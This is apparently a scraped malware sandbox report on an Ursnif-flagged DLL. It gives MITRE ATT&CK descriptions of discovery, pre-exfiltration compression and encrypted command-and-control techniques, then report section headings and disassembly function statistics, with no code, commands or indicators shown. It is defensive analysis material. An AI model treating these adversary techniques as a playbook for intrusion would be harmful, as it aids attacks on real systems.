Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report KAsJ2r4XYY.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

CPU Usage

Function 009212D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 0092269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Function 009283B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 026A348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 00928B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Function 0092ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Function 00926786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Function 00921B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Function 0092924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Function 00926A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Function 0092225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Function 00921A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Function 009294A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Function 009273FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Function 00928504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Function 10001179, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON